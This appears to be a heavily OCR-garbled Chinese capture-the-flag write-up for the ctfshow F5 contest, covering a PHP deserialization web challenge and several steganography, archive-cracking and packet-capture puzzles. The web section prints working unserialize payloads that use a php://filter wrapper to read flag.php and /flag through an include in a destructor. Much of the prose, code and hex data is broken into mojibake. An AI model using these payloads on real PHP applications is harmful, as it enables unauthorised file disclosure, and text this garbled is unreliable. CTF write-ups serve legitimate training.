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GoodNight

WEB:

eazy-unserialize &eazy-unserialize-revenge

—payload{TiEMIE, FTCABLEAE —i&
B3l H R A BRI M HAT RIS, AT, EREEFED

class Happy{
public $file= flag.php ;

function _ destruct() {
if (lempty ($this—>file)) |
include $this—>file;

]
!

]
I

function ezwaf($data) {
if (preg match(”/ctfshow/”, $data)) {
die ("Hacker !!!7):
1
!
return 3$data;:
1
!
if(isset($ GET["w_a n”]1)) {
@unserialize (ezwaf (3 _GET["w a n”])):
b else |
new CTFSHOW(”lookme”, arrav()):

1
!
XA ERR, A php A thiltiEBflag.php:

payload:?w_a_n=0:5:"Happy”:1:{s:4:“file”;s:57:“php://filter/read=convert.base64-encode/resource=flag.php”;}
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VudHMoli9mbGFnlik7DQoNCj8+

#1Tbase64

<?php

Idefined('Happy') && exit('Access Denied’);
echo file_get contents("/flag”);

7>

flag#E/Mlag T, E&— T payload

?w_a_n=0:5:“Happy”:1:{s:4:“file”;s:5:"/flag";}
IF5X A payload# & T, AR B flag.php—## A php B EEEL
payload:?w_a_n=0:5:"Happy”:1:{s:4:“file”;s:54:“php://filter/read=convert.base64-encode/resource=/flag”;}

B 3flag
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parcoae: 1 ofr 1 1ype: yr
Length: 1037 Rotation: none
Module: 13.0pix Rectangle: {X=19,Y=19,Width=2287,Height=2287}

Barcode Text processing:
Converted Character Set: IS0-8859-1
Formatted: specialChar

Binary Data in barcode (Hex-ASCII display)
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FriliX B R #35TKEAEMFAX TR, [EI—H0-7THH Y, HERSHEN, H A N—HIHH Nascii, 5 pythonill ik
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re.findall(r
for i in arr:

print(chr(int(1i,8)))
(1,8))

ctfshow{Bu.

Process Tinlghps/BibEsanatyes i

H 7 XK,
U1ST, SRUHUFURAER B, RERIE 5. 56 QQIIRAIT B K 2 S04 R T ok

1.a(n) = n*(n"2+1)/2

2.Number of balls in pyramid with base either aregular hexagon or a hexagon with alternate sides differing by 1
3.Initial members of prime sextuplets (p, p+4, p+6,p+10, p+12,p+16)

4.Primes p such that neither p-2 nor p+2 is prime

5.Smith (or joke) numbers

6.the number of distinct reduced words of length n in the Coxeter group of “Apollonian reflections” in three dimensions
7 .Hyperfactorials

8.Number of factorization patterns of polynomials of degree n over integers

9.Initial members of prime triples(p,p+4, p+6)

X BB P AR 2
HAEHE A
BRI, MARBHEET, H# kgoogle.



Number of balls in pyramid with base either aregular hexagon or a hexagon X !_

Q2x WEsy Mg Ouyp BxFa Es RE
R 28,700 F45E  (FET 0.92 #b)

SRNELITEDFIEMLEER: Number of balls in pyramid with base either
regular hexagon or a hexagon with alternate sides differing by 1

(3% 182 Number of balls in pyramid with base either aregular hexagon or a hexagon witt
alternate sides differing by 1

oeis.org > internal ~ EHFEIR

A019298 - OEIS

Number of balls in pyramid with base either a regular hexagon or a hexagon with alternate sides
differing by 1 (balls in hexagonal pyramid of height n taken from ...
EENESITIZMNE 5 8, ERIAISIHER: 21-2-22

A019298 Number of balls in pyramid with base either a regul
alternate sides differing by 1 (balls in hexagonal pyr

hexagonal close-packing).

%I

s 0,1, 4,11, 25, 42, 69, 106, 154, 215, 280, 381, 489, 616, 763, 932, 1124, 1341, 1584,
T 155, 2155, 2486, 2549, 3246, 3675, 4147, 4654, 5201, 5780, 6420, 7095, 7816,

%0 B8E84, 2401, 10268, 1117, 12159, 131:6

RYE2H—F1, 7L BT AR
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FEMWF B8, HHER, HFMUEEXMFER, FAEACRERE, BAREREEMZHA2ERRAHTO0..

A006003 a(n) = n*(n”*2 + 1)/2.
(Formerly M3849)
0, 1, &, 15, 34, 65 111, 175, 260, 3689, &0
5335, 6095, B924, V8IS, 2E01, 9855, 10990,

N7 ACC [alnl=Arinl trlalalatsl TAATA Lehr ity = arTre -

5365

BETE BTk, £ MHascidtTE#, 53378 Ectishow{}#R3
H4EKFH3.0

Ri_keitf 8, FAR3OXMERE MG, EELAFHEMNT

B JeF hint

hint1: &H1T
hint2: HR#T

T #1582 — Tk ppt
BT BN KFEWFHDY , SGEEERT, MIZTERITX
FE5tppt, RERIAREBERER, BEEAEIHIE

SR TFShoWTERT I —E B AT
RN E . Y3RmMc2hvd25i
R CTFshowRIIMK I TR SR IR R !

ctfshownb, {HRMEIDEH, XEHEmisctHBIt T —#.
kali ™ Fbinwalki# 1T 7 f#, #Emp3&FImp3stego %, i3 NY3Rmc2hvd25i, 1538208208820

8 3Y3Rmc2hvd25i, f#S1E |
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RIERIRIbinwalkiB 43 B H T 3EBHEF, XEFEHKER, BHERAK MM —HEEREZRB/, FHXESTHH, 0BERK
BLSBEZHHRT, MTRA, XEMHEHKZOuUrSecret

Step1: Specify a carrier file L/ I

Step 2: Enter password

[ |

(double click to save)

Type Name Size (k)
File Demo.pna 867

Pk ERIR A R, RIA/NEAMFE, Demo.pngl&itbDemo7.pngk, Al EE KED.
REMARTH T FHM

chishaxie/BlindWaterMark £ 4

linyacool /blind-watermark python3 ;&4 i

X B FE$ A linyacool /blind-watermark python2

CE

BERTAKAKEFBRAKT, #iTbase58/#rd,

5 Zlflag

Output

ctfshow{ = ||

PIAT ARG — 415 35
VAR B



T, #Hnotepad++FTF, BEi#Hct, KI—KFBRLUGHE, TRt Tbaseb64f@is, RKILEL, —ER FE, B
Flflag

Base64 fRiSaiEnsmIaeR :
ctfshow{l LC “AE}
F5ih2LSB
XTERE AR RO

B4 Eor6long, BBARIFL114514 CER) , BIERE

7 & & | 4| [1 2

0.png 2.png 4.png 6.png 8.png 10.png 12.png
14.png 16.png 18.png 20.png 21.png 22.png 24.png
26.png 27.png 28.png 30.png 34.png 36.png

ZHLSB, L2pngAfl, KIALSBHE2FHKMHFER, BEFRA1 (B10png) , KL A504B030414, ANZIPXMEk, AT
s BRI

504B03041400010000007C4C4D524A0409E41D0000001100000008000000666C61672E747874268FDB736D3D74D7654C946555E
F139A56337B2E90EE9D79DE3A0632B2504B01023F001400010000007C4C4D524A0409E41D000000110000000800240000000000

00002000000000000000666C61672E7478740A0020000000000001001800CBE6AA92A801D701F7A65B93A801D701A0F CEAE4AS0
1D701504B050600000000010001005A0000004 30000000000



BEzipE, RWEFEW, BHHITEN, BWEATT75, FIET i

| flag.txt - iC=&
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BGR bit Planes 21|

BGR bit Planes 21
BEEF10.pnglIBGR 2 1i@IE

Order settings
13 @2 G Ele ExtractBy ® Row () Cc

13 W2 (w1 [JO Bit Order @ MSBFirst

Bit Plane Order
13 2 1 [Jo O RGB () GRB

) RBG ) BRG

() GBR - d'BGR
LRI £ 18 lflag
F5iF & 22 30

2 — B 0 R
THMRFMEIE, B3 F5.jog 1 flag.zip, flag.zip HFEF, ¥ F5.jpg N 010 &EHJIPGEE H J5 M STk " A e fF 2

| F5 pswd.txt - iB=A&
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XTI ) SEESNL)  TELVWY) S V) TRRULT LY

ctfshowF ctfshowF ctfshowF ctfshowF ctfshowF ctfshowF ctfsh
ctfshowF ctfshowF ctfshowF ctfshowF ctfshowF

ctfshowF ctfshow5 ctfshow#t ctfshow5 ctfshow5 ctfshowF ctfs
ctfshowF ctfshowF ctfshowF ctfshowF ctfshowF

ctfshowF ctfshowF ctfshowF ctfshowF ctfshowF ctfshowF ctfsh
ctfshow#t ctfshow5 ctfshowF ctfshow#t ctfshowF

ctfshowF ctfshowF ctfshowF ctfshowF ctfshowF ctfshowF ctfsh
ctfshowF ctfshow5 ctfshowF ctfshow#t ctfshowF

ctfshowF ctfshowF ctfshowF ctfshowF ctfshiowF ctfshowF ¢tfsh
1R B & K1 Ook!

ctfshow—>00k F—>. 5—>! #f—>7?
B3 %IF5's password is f5alsogood
i Eflag.zZip R AR, 454F5 pswdAlljpg, A AREMIFSREE .,

FoRaE RIMEE, ERREBAKESZpRER, ¥zpRiTME REEjpg, BRI, B3 EveryOneLOveBeF5

zip-password-is-Every@nelLOveBeF5

fRER B BN, FIAIKGB2312%i, BIG54ihS, GBK%ii%, GB180304%k%, UnicodeshdH#l 2 TLfE i

chENA, EAEF
EEBEHE \[E]EIS“J%DEE
=F5 ==}V

heRIE S P ) NE 2L X B

IR R B A BEZhint, MEHhint1: &)5—F £ #ascii

hint:GB2312-80, BIFALAXES, EFRCAXES
EEREE
BEthint@



GB2312-80, RiPifLAXEY, Jg B Axis
HiEE N FGB2312-80"

GB2312-80 ([EEAMEXGHNFRISTME EFE)

GB2312ZEMSRBFRS NMNK, WNE—FT; 517 X%47
NXS{EMMSEM32 (20H) EIHibFRAX NS, 01-0!
R — X Rt B

http:/mww.jscj.net/index/gb2312.php

AR HuET:
FifE e S o7 vkl 2 et Sl )] ‘ 0003 7210 4165 7718 6718 0379 4343 2308 1371 8525

2188 3771 1293 37357

BERER ERRE AT RSB LE)
BRI FH16HE], BT, B3fag

1 ctfshow{Ez_ L

GoodNight

Hint1:& B i) it fF 2 2R EE
Hint2:flag i) 4 25 2 %% ymd5

N B G I NG S E T
B %GoodNightiB EE, fhii Z2EMINERED, &5 KIIEZOurSecret

| GoodNightpng Size: 137841 bytes

Step 2: Enter password

(double click to save)

Type Name Size (k) |
File Secerl 45 !

R KSecertl.rt1, EFEXMHL, KIBP, %#REBPG, W LAEF|bpg X fk=E425047FB, B190RIHE, 4250/ H %N
EHI47FB, RJEHEEB190, XEAEF2B1904#E N, K N/EHA6050B405, & IidKHI1504B0304

B1 %0 00 00 00 00 01 #0 00 00 00 FD OO0 20 00 Z0
oo 00 00 00|60 S50 B4 05) 7A 09 SE OB 88 SE DB 8B

IG5 4%, FiSimple BPG image vieweriT 7, 8%


http://www.jscj.net/index/gb2312.php

U4IZI\ZROAOXIZXZQeNIE ZUXWZ

fiRt5 15 Blfake flag. ..

flag{Th1s_i5_F4ke f1a9}

HEEXMHRE, RKRINIEZBKZpRE R

504B0304, P LA Ko\ Bh i BT S %
http://tool.huixiang360.com/str/reverse.php

58 & B\ winhex

oo 00 OO 00 00 30 99 44 G52 00 00 OO OO OO0 OO OO0 =1DR

00 00 OO OO0 00 0% 00 00 00 B6 BC A1 A7 Z2F 50 4B flag-FK
03 04 14 00 09 O0 08 00 21 97 44 52 De 36 0Os 29 I IDROE 1
90 0OF OO0 00 ED 56 00 OO0 13 00 23 00 6B BC Bl A7 iV # flag

2F CE FB CE FB &3 AC CF EB BZ BB BS BD BO 09 75 ~Ialng-Isz»pi°En
70 1F 00 01 43 56 31 EF GG6 GC A1 A7 2F ES 98 BE p  CVliflag-als

Xf b6 IEH i zZip:

50 4B 03 04 14 00 00 00 08 00 4F 8B 57 52 04 BD BK OIWR %
A AR B> TR
504B03041400, #b LIFRTF

ANNER RS
flag\iElz, EAZNE

FEFEG (T , XEEMAKrockyoulE 1T B


http://tool.huixiang360.com/str/reverse.php

D42 RETHkS! >
Advanced Archive Password Recovery $5iHER:

S2¢40% 190
SitatiE 33ms
EIREEOSAD) 5,757
ETNHNOL qwerty (]
+7plO% 717765727479 (]

w1877 Y W

B3 HEqwerty, fiRE5 3
L] BB, BT 2021/2/4 18:57 file
winhex& &

U 1 i 4 5 b rd d 4 10 11 1< 14 14 14 AbEL A=SC11 ~
B4 34 20 43 33 20 42 32 20 41 31 20 30 32 20 30 D4 C3 B2 A1 02 O
30 20 30 34 20 30 30 20 30 30 20 30 30 20 30 30 0O 04 00 00 0O OO
20 30 30 20 30 30 20 30 30 20 30 30 20 30 30 0D 00 00 00 OO0 00
0A 46 46 20 46 46 20 30 30 20 30 30 20 30 31 20 FF FF 00 00 01
30 30 20 30 30 20 30 30 20 44 30 20 46 45 20 34 00 00 00 DO FE 4
43 20 35 46 20 32 44 20 38 32 20 30 35 20 30

30 C 5F 2D gZ 05 00

REW¥ AN EF S Awinhex
SRIEGEKalige i IR B H R AR ER, Bt EJE % pcapng
G R R — B I E AR

no. Lime source LESTINation FroTocol  LENgTR LEITOVEr LapTure vata mnIo

1 ©.000000 VMware_a0:9e:01 Broadcast ARP 60 Who has 192.168.80.1? Tell 192.168.80.132
2 9.000519 VMware_c0:00:08 VMware_a@:9e:01 ARP 42 192.168.80.1 is at ©9:50:56:c0:00:08

3 0.000582 10.246.153.208 8.8.8.8 TCcpP 77 1234 » 81 [PSH] Seq=1 Win=5327@ Len=23
4 0.0006080 10.246.153.184 8.8.8.8 TCcpP 94 1234 » 81 [PSH] Seg=1 Win=5327@ Len=40
5 0.000613 10.246.153.201 8.8.8.8 TP 30 1234 > 81 [PSH] Seq=1 Win=5327@ Len=26
6 0.000626 10.246.153.195 8.8.8.8 TCcpP 80 1234 » 81 [PSH] Seg=1 Win=5327@ Len=26
7 ©.000639 10.246.153.222 8.8.8.8 TcpP 102 1234 » 81 [PSH] Seq=1 Win=5327@ Len=48
8 0.000679 10.246.153.13 8.8.8.8 TCcpP 76 1234 » 81 [PSH] Seq=1 Win=5327@ Len=22
9 8.000699 10.246.153.22 8.8.8.8 TCcpP 79 1234 » 81 [PSH] Seq=1 Win=5327@ Len=25
10 ©.008781 10.246.153.150 8.8.8.8 TCcpP 62 1234 » 81 [PSH] Seq=1 Win=5327@ Len=8
11 ©.0008704 10.246.153.55 8.8.8.8 TCcpP 75 1234 » 81 [PSH] Seq=1 Win=5327@ Len=21
12 ©.008786 10.246.153.243 8.8.8.8 TCcpP 109 1234 » 81 [PSH] Seq=1 Win=5327@ Len=55

Frame 5: 8@ bytes on wire (640 bits), 8@ bytes captured (640 bits)

Ethernet II, Src: VMware_a®:9e:01 (80:0c:29:a0:9e:01), Dst: VMware_c0:00:08 (00:50:56:c0:00:08)
Internet Protocol Version 4, Src: 10.246.153.201, Dst: 8.8.8.8

Transmission Control Protocol, Src Port: 1234, Dst Port: 81, Seq: 1, Len: 26

Data (26 bytes)

0@ 50 56 cO 00 08 00 @c 29 a@ 9e @1 @8 00 45 @0

00 12 08 48 00 00 ff 06
08 08 04 d2 0@ 51 09 00
de 16 14 e0 00 00 41 3a
69 73 28 79 o6f 75 72 20

@6 9f @a f6 99 c9 08 @8
00 00 00 ©0 00 00 50 @8
48 6f 77 20 6f 6c 64 20
64 61 75 67 68 74 65 72

is your daughter

HARBRIEK RN R ascii, HREZIEAITEFRHKE, MG TN BE. XEENERRTCPRS

10. TCP

r 3 0.008582 246.153.2088 3.8.8.8 77
i 4 @.000600 10.246.153.184 3.8.8.8 TCP 94
i 5 0.00ee613 10.246.153.201 3.8.8.8 TCP 30
i 6 0.000626 10.246.153.195 3.8.8.8 TCP 30
i 7 0.000639 10.246.153.222 3.8.8.8 TCP 102
i 3 0.000679 10.246.153.13 3.8.8.8 TCP 76




0 0.000699 10.246.153.22 3.8.8.8 TCP 79

E 10 @.000701 10.246.153.156@ 3.8.8.8 TCP 62
i 11 @.000704 10.246.153.55 3.8.8.8 TCP 75
i 12 8.000706 10.246.153.243 3.8.8.8 TCP 109

Frame 3: 77 bytes on wire (616 bits), 77 bytes captured (616 bits)
Ethernet II, Src: VMware a@:9e:01 (P0:0c:29:a0:9e:01), Dst: VMware c0:00:08 (00:50:56:c
v Internet Protocol Version 4, Src: 10.246.153.208, Dst: 8.8.8.8
8108 .... = Version: 4
. 8181 = Header Length: 20 bytes (5)
Differentiated Services Field: @x@0 (DSCP: CS@, ECN: Not-ECT)
Total lensth- 63
Identification: 8x0040 (64)
F1ag5: OXoo
Fragment Offset: @
Time to Live: 255
Protocol: TCP (6)
Header Checksum: @xB@6a3 [validation disabled]

00 50 56 cO 00 03 00 Oc 29 ad 9e @1 03 00 45 00 ) E
0010 0@ 3f 00 00 ff @6 @6 a3 @a f6 99 do 03 a8 P

03 03 04 d2 00 51 00 90 00 00 90 00 00 00 50 08  L...0 P

do 16 14 €0 00 @0 41 3a 57 68 61 74 20 63 61 6e A: What can

KA I
FreaRIUK, EREERTR, HEF.

[ |@iH<, & olp/in’QP1  yR*+ie} HK;.D!Xu) b: J[Rj+6EENTE

Ho. Tine Source Destination Frot
38 0.000802 18.246.153.149 8.8.8.8 TCP
39 0.000804 18.246.153.231 8.8.8.8 TCP
46 9.000806 18.246.153._88 8.8.8.8 TCP
41 9.000808 18.246.153.23 8.8.8.8 TCP
42 9.000856 18.246.153.64 8.8.8.8 TCP
43 9.000911 18.246.153.5 8.8.8.8 TCP

a4
45

001129 . . . .8.8.

48 ©.081229 10.246.153.1803 3.
419 @.001273 10.246.153.78 3.

8.8.8 TCP.
8.8.

Frame 49: 96 bytes on wire (768 bits), 96 bytes captured (768 bits)
Ethernet II, Src: VMware a@:9e:01 (P0:0c:29:a0:9e:01), Dst: VMware c0:00:08
v Internet Protocol Version 4, Src: 10.246.153.78, Dst: 8.8.8.8
8108 .... = Version: 4
. 8181 = Header Length: 20 bytes (5)

Differentiated Services Field: @x@0 (DSCP: CS@, ECN: Not-ECT)

Total Length: 82

Identification: 8x8050 (8@)

Flags: 0x0e

Fragment Offset: @

Time to Live: 255

Protocol: TCP (6)

Header Checksum: @x8702 [validation disabled]

@0 50 56 cO 00 03 00 Oc 29 ad 9e 01 038 00 45 @88 PV -
0010 0@ 52 0@ 00 ff @6 @7 02 @a f6 99 de €3 @8  -REE---- -----i--

Aan oAan ona Jda oAan rAa an an A AN A0 An AN AN Ca an . [




R Tbase# Y, RTThERbase64Ll L, B/ K& Plbased1 I
https://ctf.bugku.com/tool/base91

@iH<,{*;0Up/im"QPI" yR*ie}NK;.D!Xu)b:J[Rj+6KKM7P

flag{wh ™ = ; SAY

B H Pifagl N A FEMdS— T, ¥ EEmI5ERAZRIAT
A58


https://ctf.bugku.com/tool/base91

	ctfshow F5杯 部分WP(writeup) 超详细
	eazy-unserialize &eazy-unserialize-revenge
	大小二维码
	填字游戏
	牛年大吉3.0
	两行代码一纸情书
	F5也会LSB
	F5还会学中文
	GoodNight


